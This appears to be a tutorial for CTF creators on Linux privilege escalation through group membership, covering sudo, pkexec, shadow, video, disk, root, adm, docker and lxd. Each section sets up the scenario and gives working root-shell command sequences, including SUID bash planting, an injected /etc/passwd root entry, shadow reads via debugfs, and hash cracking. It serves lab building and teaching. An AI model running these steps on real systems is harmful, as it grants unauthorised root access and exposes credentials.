Contents

Linux Privilege Escalation - Groups for CTF Creators

Groups

Groups are a collection of user. However, if these groups are misconfigured by hacing wrong access control lists (ACLs), they can be abused to elevate privileges. Also in UNIX there are some specific groups that have a few capabilities that can be abused as well.

Privilege Escalation via Sudo Group

We’ll add the current user to the sudo group and reboot the system to apply the changes:

1
sudo usermod -aG sudo user && reboot

The following configuration is very common on sudo:

1
2
3
4
# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

The code above means that any user that belongs to the group sudo or admin can execute anything as sudo.

If this is the case, we can just switch to the root user as long as we have the current user’s password:

1
sudo su

We can remove the current user from the sudo or the admin group but I’m not gonna do it:

1
sudo gpasswd -d user sudo

Reboot the system to apply the change:

1
reboot

Privilege Escalation via Pkexec Group

Find the Pkexec binary and read its configuration:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
user@pwn:~$ find / -perm -4000 2>/dev/null | grep pkexec
/usr/bin/pkexec
user@pwn:~$ cat /etc/polkit-1/localauthority.conf.d/*
# Configuration file for the PolicyKit Local Authority.
#
# DO NOT EDIT THIS FILE, it will be overwritten on update.
#
# See the pklocalauthority(8) man page for more information
# about configuring the Local Authority.
#

[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:admin

GUI

Spawn bash as root using pkexec:

1
user@pwn:~$ pkexec "/usr/bin/bash"

When using the GUI, we will get a popup window. In this window we’ll type the password of our current user:

/images/posts/pkexec-gui.png
Pkexec GUI

Verify that we’re the root user:

1
2
3
# id
uid=0(root) gid=0(root) groups=0(root)
# exit

Terminal

We need two different remote sessions. In the first shell do the following.

Get the current process PID:

1
2
user@pwn:~$ echo $$
20246

In the second SSH session execute this command to attach to the first SSH session using its PID:

1
2
3
4
5
user@pwn:~$ pkttyagent --process 20246
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/bash' as the super user
Authenticating as: user,,, (user)
Password: 

In the first SSH session, we’ll execute pkexec

1
pkexec "/bin/bash" 

In the second SSH session, we will be asked to authenticate to Pkexec.

1
2
3
4
5
6
user@pwn:~$ pkttyagent --process 20246
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/bash' as the super user
Authenticating as: user,,, (user)
Password: 
==== AUTHENTICATION COMPLETE ===

When the authentication is complete, we’ll go to the first SSH session and we will see a root shell:

1
2
3
4
5
6
user@pwn:~$ pkexec "/bin/bash" 
root@pwn:~# id
uid=0(root) gid=0(root) groups=0(root)
root@pwn:~# whoami
root
root@pwn:~# 

Remove the current user from the pkexec group:

1
sudo gpasswd -d user pkexec

Reboot the system to apply the changes:

1
reboot

Privilege Escalation via Shadow Group

The shadow group can read and modify the /etc/shadow file. We’ll add the current user to the shadow group:

1
sudo usermod -aG shadow user && reboot

Users from the group shadow can read the /etc/shadow file:

1
-rw-r----- 1 root shadow 1824 May 11 10:14 /etc/shadow

Remove the current user from the shadow group:

1
sudo gpasswd -d user shadow

Reboot the system to apply the change:

1
reboot

Privilege Escalation via Video Group

The video group can manage video devices.

Add the current user to the video group:

1
sudo usermod -aG video user && reboot

Install the required packages:

1
sudo apt install gimp rawtherapee pnmtopng

We can use this Perl script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/perl

use strict;
use warnings;

my $w = shift || 240;
my $h = shift || 320;
my $pixels = $w * $h;

open(my $out, "|-", "pnmtopng") or die "Can't pipe pnmtopng: $!\n";

printf $out "P6%d %d\n255\n", $w, $h;

while (read(STDIN, my $raw, 2) and $pixels--) {
    my $short = unpack('S', $raw);
    print $out pack("C3",
        ($short & 0xf800) >> 8,
        ($short & 0x7e0) >> 3,
        ($short & 0x1f) << 3
    );
}

close $out or die "Error closing pnmtopng: $!\n";

The Perl script above reads binary input from STDIN, converts it to a PNG image using pnmtopng, and outputs the resulting image.

Add execution permissions to the script:

1
chmod +x iraw2png.pl 

Create a screenshot for fb0 by changing the TTY Ctrl+Alt+F3:

1
echo 'The password of the root user is: pass123'

Using the command w we can find who is logged on the system and it will show an output like the focusing one:

1
user@pwn:~/Desktop$ w

Now capture the screenshot:

1
cat /dev/fb0 > /home/user/screenshot.raw

List the file /tmp:

1
ls -l /tmp/screenshot.raw
/images/posts/tty3-video-group.png
TTY3 Video Group

Click this button in VMware or just do Ctrl+Alt+Delete:

/images/posts/vmware-alt-del-video-group.png
VMware Alt+Del

We can view the files that the video group has:

1
2
3
4
user@pwn:~/raw2png$ find / -group video 2>/dev/null
/dev/dri/card0
/dev/fb0
user@pwn:~/raw2png$ 

The video group has access to view the screen output. we can observe the screens. To do that we need to grab the current image on the screen in raw data and get the resolution that the screen is using. The screen data can be saved in /dev/fb0 and we could find the resolution of this screen on /sys/class/graphics/fb0/virtual_size

1
2
user@pwn:~$ cat /sys/class/graphics/fb0/virtual_size
2048,2048

Then convert this to png:

1
2
user@pwn:~$ ./iraw2png.pl 2048 2048 < /home/user/screenshot.raw > screenshot.png
pnmtopng: 5 colors found

Now open the image:

/images/posts/iraw2png-open-image.png
iraw2png Open Image

Alternatively, we can open the raw image with GIMP, and select the screen.raw file and select as file type Raw image data:

/images/posts/gimp-raw.png
GIMP Raw

Add the resolution size found in cat /sys/class/graphics/fb0/virtual_size and select the Image Type:

/images/posts/gimp-image-type.png
GIMP Image Type

Now we can see it in GIMP:

/images/posts/gimp-video-group.png
GIMP Video Group

Since we can see the password, we can escalate privileges by changing to the root user:

1
2
3
4
5
user@pwn:~$ su root
Password: 
root@pwn:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@pwn:/home/user# 

Remove the current user from the shadow group:

1
sudo gpasswd -d user video

Reboot the system to apply the change:

1
reboot

Privilege Escalation via Disk

Disks can be managed via the disk group.

Make the current user a member of the disk group:

1
sudo usermod -aG disk user && reboot

This group grants us access to all of the machine’s data.

Files:/dev/sd[a-z][1-9]

Determine the location of the root folder:

1
2
user@pwn:~/Desktop$ df -h | grep "/$"
/dev/sda5        20G  7.8G   11G  44% /

Connect to the mounted file system as follows:

1
2
3
4
user@pwn:~$ debugfs /dev/sda5
debugfs 1.45.5
debugfs:  cat /etc/shadow
root:$6$xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:18918:0:99999:7:::

The program debugfs allows us to write files as well:

1
2
3
4
5
6
7
8
debugfs:  dump /etc/shadow /tmp/shadow.bak
debugfs:  quit
user@pwn:~$ ls -la /tmp/shadow.bak 
-rw-rw-r-- 1 user user 1565 Oct  7 22:33 /tmp/shadow.bak
user@pwn:~$ cat /tmp/shadow.bak
root:$6$xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:18918:0:99999:7:::
daemon:*:18667:0:99999:7:::
bin:*:18667:0:99999:7:::

Remove the current user from the disk group:

1
sudo gpasswd -d user disk

Reboot the system to apply the change:

1
reboot

Privilege Escalation via Root Group

The root group can read files and directories owned by the root user. We’ll add the current user to the root group:

1
sudo usermod -aG root user && reboot

By default members of the root group could have access to read some service configuration files, library files, backups, or other interesting data that could be used to escalate privileges.

We could verify which files root members can modify or write:

1
find / -group root -perm -g=w ! -type l 2>/dev/null | grep -v 'proc\|sys' | xargs ls -l

We’re gonna startup by creating a scenario where they will be a password re-use misconfiguration. We’ll do this by installing Apache service in victim system:

1
sudo apt install apache2 apache2-utils -y

Let’s create a .htpasswd file, by default, this configuration file is readable by everyone and it can have credentials so we are gonna create this file and add the same password as the root user:

1
2
3
4
user@pwn:~$ sudo htpasswd -c /etc/apache2/.htpasswd admin
New password: 
Re-type new password: 
Adding password for user admin

Then we’ll remove the readable permissions for others:

1
sudo chmod o-r /etc/apache2/.htpasswd

Now the file is readable by the root user and the root group only:

1
ls -l /etc/apache2/.htpasswd

If we search from the whole system:

1
find / -group root -perm -g=r -type f 2>/dev/null | grep htpasswd | xargs ls -l

We can see that we can read the file:

1
2
user@pwn:~$ cat /etc/apache2/.htpasswd
admin:$apr1$xxxxxxxxxxxxxxxxxxxxxxxx

Go to your adversary host, we must single quotes (’) when using echo to avoid character interpretation:

1
echo 'admin:$apr1$xxxxxxxxxxxxxxxxxxx' > hash.txt

Then we can escalate privileges by cracking this hash:

1
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

We could then switch to the root user:

1
su root

Remove the current user from the root group:

1
sudo gpasswd -d user root

Reboot the system to apply the change:

1
reboot

Privilege Escalation via Adm Group

The adm group allows us to read log files.

Wel’ll add the current user to the adm group:

1
sudo usermod -aG adm user && reboot

Members of the group adm typically have access to log files placed in /var/log/. Let us look at which files we may read and write:

1
find / -group adm 2>/dev/null | grep -v 'proc' | xargs ls -l 2>/dev/null

While not directly exploitable, logs can be leveraged to leak sensitive information such as user actions, vulnerable apps, and potentially hidden cron processes. Therefore, we will design a scenario in which we can find a password recorded in a log.

Launch the apache2 service:

1
sudo systemctl start apache2

Let us create a log to save certain credentials:

1
curl http://127.0.0.1/reset_password?pwd=this_is_a_password

We can access this log file because we are in the admin group:

1
2
user@pwn:~$ ls -l /var/log/apache2/access.log 
-rw-r----- 1 root adm 0 Oct 20 10:04 /var/log/apache2/access.log

Escalate privileges by reading the log and entering the found password:

1
cat /var/log/apache2/access.log 

Switch to the root user by using the password found:

1
su root

Remove the current user from the adm group:

1
sudo gpasswd -d user adm

Reboot the system to apply the change:

1
reboot

Privilege Escalation via Docker Group

Docker containers are managed by the docker group.

Docker and the current user should be added to the docker group:

1
sudo apt update && sudo apt install docker.io && sudo usermod -aG docker user && reboot

List the docker group:

1
getent group | grep docker

Download the alpine image here:

1
2
3
4
5
6
7
user@pwn:~$ docker pull alpine
Using default tag: latest
latest: Pulling from library/alpine
a0d0a0d46f8b: Pull complete 
Digest: sha256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest

Mount the root file system to the container’s /mnt directory:

1
docker run -v /:/mnt -it alpine /bin/sh

Options:

  • -v = volume
  • -it = interactive terminal
  • alpine = docker image

Alpine is 5MB in size:

1
2
3
4
5
6
/ # id
/ # hostname
/ # ls
/ # cd /mnt
/mnt # ls -la
/mnt # cat /mnt/etc/shadow

Add an SUID bit to bash:

1
2
/mnt # cp /mnt/usr/bin/bash /mnt/home/user/bash
/mnt # chmod u+s /mnt/home/user/bash

Create a new terminal in your host from the docker container and generate a hash:

1
2
user@pwn:~$ openssl passwd -1 password
$1$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Add a new root user:

1
echo 'toor:$1$xxxxxxxxxxxxxxxxxxxxxxxx:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd

Exit from the container:

1
/mnt # exit

Escalate privileges to root with SUID bash by passing the -p flag:

1
2
3
4
5
user@pwn:~$ /home/user/bash -p
bash-5.0# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare),134(docker)
bash-5.0# exit
exit

Alternatively, escalate with the new root user and the previously generated password:

1
2
3
4
5
6
user@pwn:~$ su - toor
Password: 
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
user@pwn:~$ 

Remove the toor user from /etc/passwd and remove the bash suid bit binary:

1
2
# vim /etc/passwd
# rm /home/user/bash

Remove the current user from the docker group:

1
sudo gpasswd -d user docker

Reboot the system to apply the change:

1
reboot

Privilege Escalation via LXD Group

The LXD group can be used to manage LXD containers. We’ll install LXD and add the current user to the LXD group:

1
sudo apt install lxd && sudo usermod -aG lxd user && reboot

In the adversary host, clone the Alpine repo:

1
git clone https://github.com/saghul/lxd-alpine-builder.git

Navigate to the directory:

1
cd lxd-alpine-builder

Then build the container image:

1
sudo ./build-alpine

Setup a python3 HTTP service:

1
sudo python3 -m http.server 80

Transfer the file to the victim system:

1
wget 10.10.10.11/alpine-vx.xx-xxxxxxxxxxxxxxxxxxx.tar.gz

Now on the victim system we’ll initialize LXD:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
user@pwn:~$ lxd init

Would we like to use LXD clustering? (yes/no) [default=no]: Do we want to configure a new storage pool? (yes/no) [default=yes]: 
Name of the new storage pool [default=default]: 
Name of the storage backend to use (ceph, btrfs, dir, lvm, zfs) [default=zfs]: 
Create a new ZFS pool? (yes/no) [default=yes]: 
Would we like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]: 
Size in GB of the new loop device (1GB minimum) [default=5GB]: 
Would we like to connect to a MAAS server? (yes/no) [default=no]: 
Would we like to create a new local network bridge? (yes/no) [default=yes]: 
What should the new bridge be called? [default=lxdbr0]: 
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
Would we like the LXD server to be available over the network? (yes/no) [default=no]: 
Would we like stale cached images to be updated automatically? (yes/no) [default=yes] 
Would we like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: 

We’ll then import the LXD image:

1
2
3
4
user@pwn:~$ lxc image import ./alpine-vx.xx-xxxxxxxxxxxxxxxx.gz --alias privesc
To start your first instance, try: lxc launch ubuntu:20.04

Image imported with fingerprint: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

If we have UID=0 on the container then is going to match UID=0 on the host:

1
2
user@pwn:~$ lxc init privesc privesc-container -c security.privileged=true
Creating privesc-container

After the container is created, we’ll list the container:

1
2
3
4
5
6
user@pwn:~$ lxc list                     
+-------------------+---------+------+------+-----------+-----------+
|       NAME        |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |
+-------------------+---------+------+------+-----------+-----------+
| privesc-container | STOPPED |      |      | CONTAINER | 0         |
+-------------------+---------+------+------+-----------+-----------+

Then we’ll mount the host root file system to the /mnt directory in the container:

1
2
user@pwn:~$ lxc config device add privesc-container mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to privesc-container

Start the container with the following:

1
2
3
4
5
6
7
8
user@pwn:~$ lxc start privesc-container
user@pwn:~$ lxc list
+-------------------+---------+--------------------+-----------------------------------------------+-----------+-----------+
|       NAME        |  STATE  |        IPV4        |                     IPV6                      |   TYPE    | SNAPSHOTS |
+-------------------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| privesc-container | RUNNING | 10.94.36.82 (eth0) | fd42:647f:f795:fddf:216:3eff:fea3:bf33 (eth0) | CONTAINER | 0         |
+-------------------+---------+--------------------+-----------------------------------------------+-----------+-----------+
user@pwn:~$ 

Execute the container and spawn a bash shell as root:

1
2
3
4
5
user@pwn:~$ lxc exec privesc-container /bin/bash
~ # id
uid=0(root) gid=0(root)
~ # hostname
privesc-container

Create a copy of bash and add an SUID bit to the bash executable:

1
2
~ # cp /mnt/root/usr/bin/bash /mnt/root/home/user/bash
~ # chmod u+s /mnt/root/home/user/bash

Exit from the container and escalate to the root user:

1
/mnt/root # exit

Escalate privileges using the SUID bit in the bash binary by passing the -p flag:

1
2
3
4
5
6
7
user@pwn:~$ /home/user/bash -p
bash-5.0# whoami
root
bash-5.0# hostname
ubuntu
bash-5.0# exit
exit

Remove the current user from the root group:

1
sudo gpasswd -d user lxd

Reboot the system to apply the change:

1
reboot